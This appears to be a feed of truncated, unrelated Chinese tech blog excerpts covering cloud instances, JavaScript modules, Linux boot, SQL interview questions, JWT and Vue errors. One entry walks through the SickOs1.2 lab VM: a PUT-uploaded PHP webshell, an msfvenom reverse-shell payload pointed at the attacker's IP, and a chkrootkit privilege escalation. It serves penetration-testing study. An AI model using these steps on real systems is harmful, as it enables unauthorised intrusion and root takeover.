高网络包收发场景,如视频弹幕、电信业务转发等各种类型和规模的企业级应用中小型数据库系统、缓存、搜索集群数据分析和计算计算集群、依赖内存的数据处理 实例规格 实例规格vCPU*内存(GiB)本地存储(GiB)网络带宽能力(出/入)(Gbit/s)网络收发包能力(出/入)(万PPS)**多队列***弹性网卡(包括一块主网卡)ecs.g5.large28.0无1.03022ecs.g5.xlarge416.0无1.55023ecs.g5.2xlarge832.0无2.58024ecs.g5.4xlarge1664.0无5.010048ecs.g5.6xlarge2496.0无7.515068ecs.g5.8xlarge32128.0无10.020088ecs.g5.16xlarge64256.0无20.0400168 总之,简单的总结是突发性实例cup并不是全部属于你的,你需要使用超出部分的时候,就需要使用积分去换;而通用型实例就不存在这个问题,cpu100%是属于你的。 欢迎访问本人blog:http://www.huangwx.cn

ES6和commonJs模块化规范的混用

ES6和commonJs在webpack下的混用 为了最大化利用ES6规范不引入无关代码从而减小打包体积的优势,越来越多的模块支持同时将自己的模块发布成commonJs和ES6规范的的文件,在package.json中的"module"字段配置ES6模块入口文件路径,现在像webpack,rollup都已经支持该字段,在打包过程中不再引入package.json中"main"字段对应的文件,而是引入"module"文件对应的文件(如果包中的package.json中有module字段的话) 所以,我们先明确下面两点: 在运行时引入模块,引入的是package.json中"main"指向的文件在webpack打包或者webpack-dev-server的时候,引入的是package.json中"module"指向的文件 为了方便测试,我们先在node工程的"node_modules"文件夹下自己创建一个名为aaa的模块,文件结构如下: |-- node_modules |--|-- aaa |--|--|-- package.json |--|--|-- aaa.js |--|--|-- aaa.module.js // package.json { "main": "aaa.js", "module": "aaa.module.js" } 示例 最近在看Three.js,发现这个包就同时支持require和import,而且该包根目录的package.json中有指明module字段,module字段就指向该包的es6模块js文件,我看了下该包的两个入口文件three.js和three.module.js,我这里简单模拟一下: // aaa.ja exports.kkk = "hello c" exports.kkm = "world c" // aaa.module.js var kkk = "hello m" var kkm = "world m" export { kkk, kkm } // index.js // import * as aaa from 'aaa' // 通过webpack打包时,这种加载方式也行 var aaa = require('aaa') console.log(aaa.kkk) // 直接运行输出"

malloc函数和free函数

malloc函数 原型 extern void *malloc(unsigned int num_bytes); 头文件 #include <stdlib.h> 函数声明 void *malloc(size_t size); free函数 原型 void free(void *FirstByte) 头文件 malloc.h或stdlib.h

Linux开机详细流程

计算机启动分为内核加载前、加载时和加载后3个大阶段,这3个大阶段又可以分为很多小阶段,本文将非常细化分析每一个重要的小阶段。 内核加载前的阶段和操作系统无关,Linux或Windows在这部分的顺序是一样的。由于使用anaconda安装Linux时,默认的图形界面是不支持GPT分区的,即使是目前最新的CentOS 7.3也仍然不支持,所以在本文中主要介绍传统BIOS平台(MBR方式)的启动方式(其实是本人愚笨,看不懂uefi启动方式)。 在内核加载时和加载后阶段,由于CentOS 7采用的是systemd,和CentOS 5或CentOS 6的sysV风格的init大不相同,所以本文也只介绍sysV风格的init。 14.1 按下电源和bios阶段 通过内存寻址篇我们知道, Linux 系统运行过程中位于保护模式,系统必须要是用MMU来完成地址寻址, 这就依赖于段表跟页表。 但是问题来了, 系统是如何将段表跟页表是如何装入的呢? 本文通过 Linux 系统初始化过程,开始介绍内存管理的构建过程。 BIOS 时代: 当PC机加电的那一刻,主机开始获取操作指令,初始化操作系统。 这个时候,系统cpu是运行在实模式(详情见说明)下的, CPU最开始从0xFFFF0 处定位BIOS通过影子内存(详情见说明)定位BIOS第一条指令。 BIOS 就开始地检测内存、显卡等外设信息,当硬件检测通过之后,就在内存的物理内存的起始位置 0x000 ~ 0x3FF建立中断向量表。 然后, BIOS 将启动磁盘中的第1个扇区(MBR 扇区,Master Boot Record)的 512 个字节的数据加载到物理内存地址为 0x7C00 ~ 0x7E00 的区域,然后程序就跳转到 0x7C00 处开始执行,至此,BIOS 就完成了所有的工作,将控制权转交到了 MBR 中的代码。通过MBR加载Linux 内核映像。 实模式运行阶段: 先将内核镜像文件中的起始第一部分 boot/setup.bin 加载到 0x7c00 地址之上的物理内存中,然后跳转到 setup.bin 文件中的入口地址开始执行。 涉及的文件有 arch/x86/boot/header.S、链接脚本setup.ld、arch/x86/boot/main.c。header.S 第一部分定义了 .bstext、.bsdata、.header 这 3 个节,共同构成了vmlinuz 的第一个512字节(即引导扇区的内容)。常量 BOOTSEG 和 SYSSEG 定义了引导扇区和内核的载入的地址。 BOOTSEG = 0x07C0 /* original address of boot-sector */ SYSSEG = 0x1000 /* historical load address >> 4 */ 主要完成的工作:

Python+Selenium log的日志输出格式

日志格式 近期研究日志模块时,发现输出的log不是自己想要的格式,研究了下,特意整理出四种风格,参考如下: 以下log背景:run_test.py执行脚本中,调用log方法:mylogger.info("Auto-Survey-test start...") 样式1:Tue 31 Mar 2020 09:02:44 - INFO run_test.py [line:96] Auto-Survey-test start... # 定义handler的输出格式` fmt = "%(asctime)s - %(levelname)s %(filename)s [line:%(lineno)d] %(message)s" datefmt = "%a %d %b %Y %H:%M:%S" formatter = logging.Formatter(fmt, datefmt) fh.setFormatter(formatter) ch.setFormatter(formatter) 样式2:2020-03-31 09:12:13,736 - INFO run_test.py [line:96]: Auto-Survey-test start... # 定义handler的输出格式 formatter = logging.Formatter('%(asctime)s - %(levelname)s %(filename)s [line:%(lineno)d]: %(message)s') fh.setFormatter(formatter) ch.setFormatter(formatter) 样式3:2020-03-31 08:58:49,059 - Survey-Log - INFO - Auto-Survey-test start... 注:此处的Survey-Log为Logger类下mylogger实例中logger参数值 # 定义handler的输出格式 formatter = logging.

Linux软RAID换硬盘

Linux软RAID换硬盘 Linux使用软RAID,遇到磁盘故障时,需要及时更换有故障的磁盘。 准备工作 一块和原盘一样大小的硬盘 检查硬盘损坏情况 cat /proc/mdstat 如图md2损坏 查看详情 mdadm –D /dev/md2 替换损坏硬盘 识别损坏硬盘序号(也可以通过读写灯判断),拔出损坏硬盘,插入新硬盘。如果不支持热插拔则需要重启。 初始化分区信息 假设在原来RAID中,所有的硬盘分区信息一致。 用fdisk –l 确认。新硬盘为sdc,sdb为RAID中正常的磁盘。 复制分区表信息 sfdisk -d /dev/sdb | sfdisk -f /dev/sdc 内核重载分区表 partprobe /dev/sdc 检查分区表 检查分区表是否一致 fdisk -l 添加新硬盘到RAID $ mdadm /dev/md0 –a /dev/sdc2 Mdadm:added /dev/sdc2 $ mdadm /dev/md1 –a /dev/sdc1 Mdadm:added /dev/sdc1 $ mdadm /dev/md2 –a /dev/sdc3 Mdadm:added /dev/sdc3 检查RAID状态 cat /proc/mdstat 等待重建 OS自动重建RAID,期间系统仍可访问

服务器处理能力是否与合理的同时线程数量相关?

多线程利用 CPU 多核的并行执行来提高效率,而且核越多,能并行处理的程序越多,可以大大提高电脑运行的效率;但是操作系统(以 Linux 系统居多)也有瓶颈,所以线程数量不应过多,否则会在线程管理上又浪费很多计算和资源,线程需要分配资源和内存,太多的话就适得其反了。

idea使用git提交代码时提交一条多余的日志

idea-git设置 问题: idea点击 update project更新代码会自动生成一条提交记录 日志内容:Merge remote-tracking branch ‘origin/develop’ into develop 解决方案: 默认会选择 branch_Default 设置为Rebase即可解决 有的同学勾选了 Do not show this dialog in the future,就不会弹出这个框,需要找回这个弹出框并修改设置 File -> Settings -> Version Control -> Confirmation 选择update

ALLEGRO PCB 文件转 PADS9.5 PCB方法

本人一直使用PADS做PCB设计,最近因为要从ALLEGRO导入一些设计元件库,到网上找了一些帖子,然后开始转换,但是过程多多少少有点出入,故此完善和记录一下: 参考了文章: https://blog.csdn.net/tianpu2320959696/article/details/88381356 第一步 添加环境变量和拷贝相关文件 添加用户变量 变量名:AEX_BIN_ROOT 值: PADS软件中translators软件的bin目录路径 比如我的:AEX_BIN_ROOT= C:\MentorGraphics\9.5PADS\SDD_HOME\translators\win32\bin添加 用户变量 变量名:AEX_ENABLE_JOBPREFS_LAYER_FIX 值:1 比如我的:AEX_ENABLE_JOBPREFS_LAYER_FIX =1添加用户变量 变量名:Home 值:Cadence软件的pcbenv文件夹所在目录的路径 如我的:Home= C:\Cadence打开PADS软件自带的Allegro 转换的skill文件目录 如我的:C:\MentorGraphics\9.5PADS\SDD_HOME\translators\skill_scripts将上面目录的文件全部复制到allegro 下面这个目录下 ,pcbenv这个目录如果不存在,请创建 C:\Cadence\pcbenv打开Allegro,打开需要转换的文件,将Allegro的文件版本down到16.3版本 打开Allegro命令窗口: 在command命令栏中输入skill load “dfl_main.il”,回车后,会看到返回T。 注意,输入时,引号不能少,load和引号间是有空格的。 然后在command命令栏输入main out 回车,这时会弹出一个对话框: 点击“StarOne Way Translation” ,等待运行结束。 然后打开PADS layout,导入文件。文件就是上次down到16.3版本的那个*.brd文件。 然后等待转换完成,保存为PCB文件就可以了。

我拿到了腾讯最爱考的数据分析面试题

作者:腾讯数据分析师 annatx 今天给各位分享两道数据分析试题,这是腾讯数据分析面试官在面试时考察候选人喜欢出的题,属于硬性技能考察题目,特别好用。 如果你想投鹅厂的数据分析师岗位,强烈建议看看。刷题做实战题目是王道,刷一道顶得上在网上刷百道。 以下是面试官在面试候选人时的思考。 面试都有固定的流程,通常是自我介绍,硬性技能考察,项目经历追问和Q&A环节。 之所以把硬性技能考察紧跟自我介绍后面,是因为不管简历包装的有多好,招来的小伙伴始终要能get hands dirty,如果一些必须的技能不ok,那就没啥给机会的必要了。我们团队这边比较关注的还是SQL和Python技能,所以但凡学生声称自己熟练掌握SQL和Python的,都会详细考察一下实际能力。所以两道题目,一道是SQL题,一道是Python题。 SQL题目 这道题目还挺舍不得分享出来的,不过我自己用下来是真的觉得堪称SQL试金石。不仅是校招生,就算是写了好多年SQL的人,也不一定真的能快速想出来答案,但被告知答案了又会觉得真的其实蛮简单的。因为题目都是我工作时候遇到觉得很有趣记录下来的case,所以可能是百度orGoogle也搜不出来的珍藏私货。 题目:有一张用户签到表【t_user_attendence】,标记每天用户是否签到(说明:该表包含所有用户所有工作日的出勤记录) ,包含三个字段:日期【fdate】,用户id【fuser_id】,用户当天是否签到【fis_sign_in:0否1是】; 问题1:请计算截至当前每个用户已经连续签到的天数(输出表仅包含当天签到的所有用户,计算其连续签到天数) 输出表【t_user_consecutive_days】:用户id【fuser_id】,用户联系签到天数【fconsecutive_days】 解答逻辑非常简单,只需要用max和datediff。实际答案就留在文末好了。 问题2:请计算每个用户历史以来最大的连续签到天数(输出表为用户签到表中所有出现过的用户,计算其历史最大连续签到天数) 输出表【t_user_max_days】:用户id【fuser_id】,用户最大连续签到天数【fmax_days】 这个乍看不太是SQL能解决的问题,但仔细想想就有思路。我的答案可能也不是最佳答案,但暂时还没问到过别的答案吧。 Python题目 题目:针对股票的最大回撤率指标定义,给出代码实现思路。给定的是产品所有交易日的净值序列,且其净值序列已按照日期排序。 最大回撤率:在选定周期内任一历史时点往后推,产品净值走到最低点时的收益率回撤幅度的最大值。 追问:如何在提升计算效率? 这道题类似的题目其实在leecode也有,这个大概是变化但类似版本(可以搜leecode股票最大回报);因为团队里处理比较多金融资产数据,这个指标是策略中最常见的指标之一,所以也是一道工作中攒下来的题目。这个指标的计算优化问题真的非常值得问,我后面会列几个版本的代码思路和实现代码。 通常最简单的计算实现,会需要O(n2)的计算复杂度;可以针对如何降低计算复杂度,专门追问。 漫谈 其实这俩题目,核心考察的都不是语言能力,因为语言永远都在更新,始终可以通过写得多来提升熟悉度;核心考察的其实都是逻辑和算法能力,就算忘记核心函数或者语法,回归到问题本身,有逻辑的candidate还是能给出思路和步骤,那当然如果语法和函数都非常熟悉,那就更完美了,可以马上写出来答案。 其他经验 很多硬性技能考察题,核心一样,题面可以一直换,比如:签到可以变成用户活跃,用户充值次数之类的,可以换成候选人项目经历里熟悉的context,有些候选人比较紧张,换点熟悉的场景,似乎就脑子转的快一点。如果候选人最简单的版本能快速给出思路,可以一层层追问,了解ta的思考过程,更全面考察逻辑能力。 参考解答 感觉要是不给参考答案的话,分享题目还是有点耍流氓的意思,就还是给几个答案参考参考。 SQL题目: 问题1答案: 思路:先找用户最近一次未签到日期,再用今天减那个日期 create table t_user_consecutive_days as select fuser_id ,datediff('20200322',fdate_max) fconsecutive_days from (select fuser_id ,max(fdate) fdate_max from t_user_attendence where fis_sign_in = 0 group by fuser_id ) t1 ; 问题2答案:把用户所有签到记录转化成一条0-1字符串序列,用0做split切割,计算切出来的1序列组中的最大长度 create table t_user_max_days as select fuser_id ,max(length(cut_fsign_record)) as fmax_days (select fuser_id ,fsign_record ,cut_fsign_record from (select fuser_id ,wm_concat(fis_sign_in) fsign_record from t_user_attendence group by fuser_id ) t1 lateral view explode(split(fsign_record,'0')) t as cut_fsign_record ) t2 where cut_fsign_record<>'' group by fuser_id ; Python题目:

SAP与业务凭证接口报错处理(一)

SAP FI/CO 与业务凭证接口报错处理(一) SAP FI/CO 与业务凭证接口报错处理 通常,FI/CO模块会与外围业务系统做对接,外围业务系统会直接生成凭证,同步至SAP的总账,这时,凭证接口会有大量校验,经常会出现凭证同步失败。顾问人员每次处理此类问题耗费大量时间,特此,我做一个SAP FI/CO凭证同步接口错误汇总,以备后期查询。 1.1 FI/CO 接口:以交易货币 6,500.00 (CNY) 计的余额;请输入利润中心; 此问题是凭证为单边凭证,为借贷不平,应补充对应方凭证。另外,凭证行的利润中心未填写对应值。一般收入类科目,需带辅助核算职能属性——营销类中心。 1.2 FI/CO 借/贷标记不一致 此问题是凭证行存在金额为负数的行,同时做了反记账标识。FI对于从子模块或业务模块过来的凭证数校验,不允许金额为负数。 1.3 字段 BSEG-ZFBDT 中格式出错;参见下一消息 1.4 请在货币资金科目维护供应商编码或者客户编码 1.5 帐户 1000010086 3790 因记帐操作而冻结;请输入利润中心;帐户 1000010086 3790 因记帐操作而冻结;请输入利润中心;

【深度学习】归一化(十一)

文章目录 什么是归一化易混淆概念--标准化为什么要归一化Batch NormalizationWeight Normalization总结 今天要学习的内容是一个小知识点:归一化 什么是归一化 归一化(Normalization): 是一种无量纲处理手段,即将有量纲的表达式,经过变换,化成无量纲的表达式,称为标量。通常来说,想比较两个有度量单位的物理量是不可以的,但是我们可以先将度量单位去掉,变成标量,就可以作比较了。归一化的具体作用是:归纳样本的统计分布性;操作是:把数据经某种算法限制在(0,1)或者(-1,1)范围内,限制数据到(0,1)区间是统计样本的概率分布,而限制到(-1,1)区间是统计样本的坐标分布。 常见的归一化方式是Rescaling (min-max normalization) 线性归一化:适用在数据比较集中的情况 x ′ = x − min ⁡ ( x ) max ⁡ ( x ) − min ⁡ ( x ) x^\prime=\frac{x-\min(x)}{\max(x)-\min(x)} x′=max(x)−min(x)x−min(x)​ 不论是计算,还是建模,首先要做的是对样本数据进行预处理,这要求样本的度量单位要统一,不然无法做统计分析,因此预处理的第一步往往是对数据去量纲。而去量纲化的操作通常有这几种:归一化和标准化。 易混淆概念–标准化 标准化(Standardization): 是对原始数据按比例进行缩放处理,使得数据落入一个小的特定区间,这跟归一化差不多,但是唯一的差别就是缩放本质不同,归一化是将样本的特征值转化到同一量纲下,把数据映射到(0,1)或者(-1,1)区间。 而标准化是将数据通过去均值实现中心化(中心化:将数据的平均值变为0的操作),得到的数据是符合标准正态分布的,区别在于标准化是依照特征矩阵的列,归一化是依照特征矩阵的行处理数据。 标准化的形式是:Standardization (Z-score normalization)标准差归一化:将数据处理成符合均值为0,方差为1的标准正态分布 x ′ = x − μ ( x ) σ ( x ) , μ 为 均 值 , σ 为 方 差 x^\prime=\frac{x-\mu(x)}{\sigma(x)}\;,\; \mu为均值,\sigma为方差 x′=σ(x)x−μ(x)​,μ为均值,σ为方差

quartz(六)定时任务的暂停、关闭等操作说明

定时任务的暂停、关闭等操作说明 基于quartz3.0版本总结一些quartz定时任务的暂停、恢复、删除等操作。 定时任务的删除等操作主要是基于JobKey或TriggerKey。 暂停Job: //通过JobName以及JobGroup获得JobKey JobKey jobKey = JobKey.jobKey("aaaa" + 1, JOB_GROUP_NAME); try { Scheduler scheduler = schedulerFactoryBean.getScheduler(); scheduler .pauseJob(jobKey); } catch (SchedulerException e) { e.printStackTrace(); } 注:此处暂停job会根据jobkey暂停job及对应的trigger 恢复Job: //通过JobName以及JobGroup获得JobKey JobKey jobKey = JobKey.jobKey("aaaa" + 1, JOB_GROUP_NAME); try { schedulerFactoryBean.getScheduler().resumeJob(jobKey); } catch (SchedulerException e) { e.printStackTrace(); } 删除job 方法一: //通过JobName以及JobGroup获得JobKey JobKey jobKey = JobKey.jobKey("aaaa" + 1, JOB_GROUP_NAME); try { schedulerFactoryBean.getScheduler().deleteJob(jobKey); } catch (SchedulerException e) { e.printStackTrace(); } 方法二: //通过triggerName获取TriggerKey TriggerKey aaatrigger = TriggerKey.

从SCTF看JWT安全 (附SCTF web writeup)

原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的。 JWT技术介绍 来源 用户认证的方式通常有两种,传统的session认证 和 基于token方式. 传统的session认证的缺陷 传统的session认证,随着不同客户端用户的增加,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来.例如而随着认证用户的增多,服务端的开销会明显增大,这样在分布式的应用上,相应的限制了负载均衡器的能力,因为是基于cookie来进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。 基于token的鉴权机制 基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。 定义 JWT(JSON Web Token) 是一个非常轻巧的规范,通过这个规范,可以传递可靠的安全信息,JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。 组成 一个字符串由头部,载荷,签名三部分组成。 头部(Header) 用于描述JWT的最基本的信息,其所用的签名与算法类似这样 { "typ": "JWT", "alg": "HS256" } 通过base64 编码之后,形成头部 载荷(Payload) 也是json形式的,官方定义的有如下六个部分 { "sub": "1", //该JWT所面向的用户 "iss": "http://localhost:8000/auth/login", //该JWT的签发者 "iat": , //iat(issued at): 在什么时候签发的token "exp": , //exp(expires): token什么时候过期 "nbf": , //nbf(not before):token在此时间之前不能被接收处理 "jti": "" //JWT ID为web token提供唯一标识 } 当然,开发者可以定义自己使用的数据。 以上json数据base64编码之后,形成载荷。 签名 将上面的两个编码后的字符串都用句号.连接在一起 提供一个密钥(secret)用头部所规定的算法加密就可以形成一个新的字符串

shell脚本-while循环猜价格

#!/bin/bash jia=$(expr $RANDOM % 1000) #定义随机数 cont=0 #定义变量 echo "商品价格范围为0~999,猜猜是多少?" while true do read -p "请输入价格:" rmb #输出变量 let cont++ #计算次数 if [ $rmb -eq $jia ];then echo "回答正确+10分,价格是:$jia" echo "输入了$cont次" break elif [ $rmb -gt $jia ];then echo "高了" else echo "低了" fi done

kali渗透综合靶机(十二)--SickOs1.2靶机

一、靶机下载 下载链接:https://download.vulnhub.com/sickos/sick0s1.2.zip 二、SickOs1.2靶机搭建 将下载好的靶机环境,用VMware导入即可使用,文件->打开 导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可 三、攻击过程 kali IP:192.168.212.6 靶机IP:192.168.212.9 1、主机发现 nmap -sn 192.168.212.0/24 2、端口扫描 方法一: 方法二: 3、端口服务识别 4、漏洞查找与利用 浏览器访问,没有发现任何有用信息 目录扫描 发现http://192.168.212.9/test/ 发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root 使用hydra进行ssh爆破,没有破解出来 发现web服务的版本lighttpd 1.4.28 searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞 nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test" 扫描/test页面的支持的http方法 或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法 测试PUT方法(注意数据包中的每一个空格都不要修改,否则有可能上传失败) 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created) Getshell方式一: 上传php一句话 .在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去) 将反弹shell文件复制到桌面,修改IP地址及端口号 kali打开监听端口,浏览器访问shell文件 查看系统版本和内核版本 Getshell方式二 Msfvenom生成一个反弹shell msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php curl上传生成的反弹shell到目标 在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听,然后放到后台。 浏览器访问shell文件 成功返回shell 提权方式一:利用exp 查看靶机服务器和版本信息 或者查看系统是否存在chkrootkit,发现chkrootkit的版本为0.49 chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。 漏洞利用: 于是我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事 touch /tmp/update chmod +x /tmp/update

英语入门4

一般现在时和现在进行时 1.一般现在时,表示通常性、规律性、习惯性的状态或者动作。主语是单数第三人称时,动词有单三的变化,主语是非第三人称单数时,动词为原形 一般现在时否定和疑问句用do,does帮助构成 2.现在进行时表示现在正在进行或发生的动作。句中通常有now等时间副词呼应,基本构成形式为be+doing 动词现在分词的变化规律 一般情况下,直接在动词后面加ing 动词以不发音的e结尾,要去e加ing ps.take—taking 重读闭音节()的动词,要双写词尾字母,再加-ing ps.cut-cutting 以–ie结尾的动词,变y加ing ps.lie—lying 现在进行时变否定句和疑问句时,将be动词否定或提前 一般过去和过去进行时 1.一般过去时表示过去某个时间里发生的动作或状态:过去习惯性,经常性的行为 基本结构:主语+动词过去式+其他 一般动词在动词后面加ed,还有一些动词不规律变化 play—played come–came 动词一般过去式变化规则: 1.一般在动词后加ed 2.在以字母e结尾的动词后只加d like–liked 3.在以辅音字母+y结尾的动词后,改y为i再加ed supply–supplied 4.在以重读闭音节结尾且末尾只有一个辅音字母的动词后,双写最后一个辅音字母再加ed plan–planned ‘’‘英语单词是由字母组成的,字母构成音节.一般来讲有一个元音就是一个音节.含一个元音的词叫作单音节词,含两个或两个以上元音的单词叫作双音节或多音节词.单音节词都是重读音节,双音节和多音节词中一般有一个重读音节,其他的是弱读音节. (1)开音节:开音节又分为绝对开音节和相对开音节.由一个元音字母结尾的音节为绝对开音节.例如:no,I,me,my,be等.以一个元音字母加一个辅音字母(r除外)再加一个不发音的字母e结尾的音节为相对开音节.例如:name,late,grade,game,rose等.开音节中的元音字母一般都发字母表中的音. (2)闭音节:闭音节是以一个元音字母加一个或几个辅音字母结尾的音节.例如:not,thank,ten 重读闭音节顾名思义这个单词是闭音节,且最后的一个元音要重读. 现在分词的构成规则是: 1.大多数动词直接在词尾加-ing,例如:go-going,work-working,study-studying,look-looking等. 2.以不发音的e字母结尾的动词,需去掉e再加-ing,例如:make-making,write-writing,skate-skating等. 3.以重读闭音节结尾,末尾只有一个辅音字母的动词,要双写这一辅音字母,再加-ing.例如: run-running,swim-swimming等. begin 和 star符合现在分词构成规则的第三点. listen /lisn/重读在第一个音节上,不符合第三点,所以他属于规则变化,直接加ing就好了. 至于open是双写n加ing的, ’‘’ 过去进行时 2.过去进行时表示在过去某一时刻或某一段时间内进行或发生的动作。 其形式为 was/were+doing****持续进行 他们一直在等你呀 刚才他们一种在谈话 将来时 1.一般将来时表示将来某一时刻的动作或状态,或将来某一段时间内经常发生的动作或状态。常常和表示将来的时间状语连用 tomorrow(明天) next week(下周) in the future(将来) 2.助动词will或shall+动词原形表示将来发生的事情 3.be going to +动词原形用来表示近期或实现考虑过的有打算的,以及有迹象表示要发生的 They are going to play fottball this afternoon.

SpringBoot 中使用MongoDB GridFs

接上述文章内容开始,mongodb要做数据仓储,最重要的还是存储,这里指的存储是文件存储,mongodb自带强大的文件分片存储技术,GridFs技术 GridFs技术 附上官方文献资料:https://docs.mongodb.com/manual/core/gridfs/index.html 那么,什么情况下才适用mongodb自带的GridFs技术呢? 答: 适用存储大型文件,单文件>16M 那么,又有人会问了,那些单文件<16M的应该怎么存储? 答: 可以考虑将每个文件存储在单个文档中,用BinData数据类型存储二进制数据 以上参考官方文献资料给出一些答复 说到分片存储肯定离不开系统两个存储相关的表 fs.chunks:集合中的每个文档代表GridFS中表示的文件的不同块 _id:该文档的唯一标识符 files_id:fs.files中_id 外键 n:表示当前为fs.files中_id对应文件的序列化 data:分片存储的内容 fs.files:集合中的每个文档代表GridFS中的一个文件 _id:该文档的唯一标识符 filename:GridFS文件的可读名称 length:文档的大小(以字节为单位) chunkSize:每个块的大小(以字节为单位) uploadDate:GridFS首次存储文档的日期 md5:完整文件的MD5哈希 metadata:元数据字段可以是任何数据类型,并且可以包含您要存储的任何其他信息 在springboot项目中使用GridFs 以下内容承接上篇文章内容,《在springboot中使用mongodb》 1、MongoDB配置类 import com.mongodb.MongoClientSettings; import com.mongodb.ServerAddress; import com.mongodb.client.MongoClient; import com.mongodb.client.MongoClients; import com.mongodb.client.MongoDatabase; import com.mongodb.client.gridfs.GridFSBucket; import com.mongodb.client.gridfs.GridFSBuckets; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import java.util.Arrays; /** * mongoDB 配置类 */ @Configuration public class MongoConfig { @Value("${spring.data.mongodb.host}") private String host; @Value("${spring.data.mongodb.port}") private Integer port; @Value("${spring.data.mongodb.database}") private String database; @Bean public MongoClient getMongoClient(){ MongoClient mongoClient = MongoClients.

通过JDBC解决Python在ARM上的Oracle访问

Oracle Client是一套闭源的客户端,在哪个平台上可以使用完全由Oracle官方决定。如附录所示,Oracle Client并不直接支持ARM上的访问。 那么是不是Python等语言就无法在ARM上访问Oracle了呢?在Stackoverflow上也有人讨论了这样几个方法: 解析Oracle Client Interface 通讯协议,可以做但是成本高且有法律和升级失效等风险使用X86作为中转,但是不纯粹且依赖链长使用Python-JDBC,已经有成熟方案JayDeBeApi https://pypi.org/project/JayDeBeApi/,通过JPype启动一个JVM进行中转 此外,还有通过pyarrow.jvm加速Python访问JDBC的方法,请参考我的上一篇转发文章https://blog.csdn.net/gikod/article/details/105189589 。 在Stackoverflow上,已经有人验证过树莓派ARM访问Oracle数据库。 https://stackoverflow.com/questions/56838410/problem-classpath-for-jaydebeapi-from-raspberry $ pip install JayDeBeApi >>> import jaydebeapi >>> #conn = jaydebeapi.connect("org.hsqldb.jdbcDriver", ... # "jdbc:hsqldb:mem:.", ... # ["SA", ""], ... # "/path/to/hsqldb.jar",) >>> conn=jaydebeapi.connect('oracle.jdbc.driver.OracleDriver', '[admin]/[root]@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=helloworld.com)(PORT=1521))(CONNECT_DATA=(SID=hello42)))', jars='/home/pi/ojdbc6.jar') >>> curs = conn.cursor() >>> curs.execute('create table CUSTOMER' ... '("CUST_ID" INTEGER not null,' ... ' "NAME" VARCHAR not null,' ... ' primary key ("CUST_ID"))' ... ) >>> curs.execute("insert into CUSTOMER values (1, 'John')"

通过pyarrow.jvm加速Python访问JDBC

Fast JDBC access in Python using pyarrow.jvm While most databases are accessible via ODBC where we have an efficient way via turbodbc to turn results into a pandas.DataFrame, there are nowadays a lot of databases that either only come solely with a JDBC driver or the non-JDBC drivers are not part of free or open-source offering. To access these databases, you can use JayDeBeApi which is using JPype to call the JDBC driver.

Elasticsearch集群搭建(含开启安全认证详细步骤)

环境: Elasticsearch: 6.8.0 Kibana: 6.8.0 1.下载Elasticsearch的tar.gz包 地址:https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.8.0.tar.gz 2.解压 tar -zxvf https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.8.0.tar.gz 3.单机版是可以直接启动的 ./bin/elasticsearch -d 项目是可以直接启动的,访问http://localhost:9200就可以了。 至此,单机版ES就完成了。 4.集群搭建 vim /config/elasticsearch.yml 添加一下配置: cluster.name: my_cluster node.name: node-1 node.master: true node.data: true network.host: 0.0.0.0 http.port: 9200 transport.tcp.port: 9300 discovery.zen.ping.unicast.hosts: ["你的IP1:9300","你的IP2:9300","你的IP3:9300"] discovery.zen.minimum_master_nodes: 1 bootstrap.memory_lock: false bootstrap.system_call_filter: false 需要修改的地方:你的IP部分替换成对应的IP地址就行了。 其他两个节点: cluster.name: my_cluster node.name: node-2 node.master: true node.data: true network.host: 0.0.0.0 http.port: 9200 transport.tcp.port: 9300 discovery.zen.ping.unicast.hosts: ["你的IP1:9300","你的IP2:9300","你的IP3:9300"] discovery.zen.minimum_master_nodes: 1 bootstrap.memory_lock: false bootstrap.system_call_filter: false cluster.name: my_cluster node.name: node-2 node.

[Vue warn]: Invalid prop: type check failed for prop "total". Expected Number with value NaN报错详解

报错:vue.runtime.esm.js?2b0e:619 [Vue warn]: Invalid prop: type check failed for prop “total”. Expected Number with value NaN, got Function 问题重现: 本文使用的是elementUI的框架,在开发时加载页面刷新时出现的报错。 问题分析:发现是Number的值为NaN,于是去data属性里面去查看定义了那些数据类型为Number的变量。发现有个totalNum的值为Number,所以分析可能是没有赋初始值的原因引起的,所以我给totalNum赋了一个初始值,这个问题就迎刃而解了。 -问题总结:vue的基础报错有很多都是value的赋值问题造成的。可能是类型不一致,也有可能没有赋值或赋值错误,所以在开发的时候一定要注意这些细节。

[Vue warn]: Error in render: "TypeError: data.reduce is not a function"报错详解

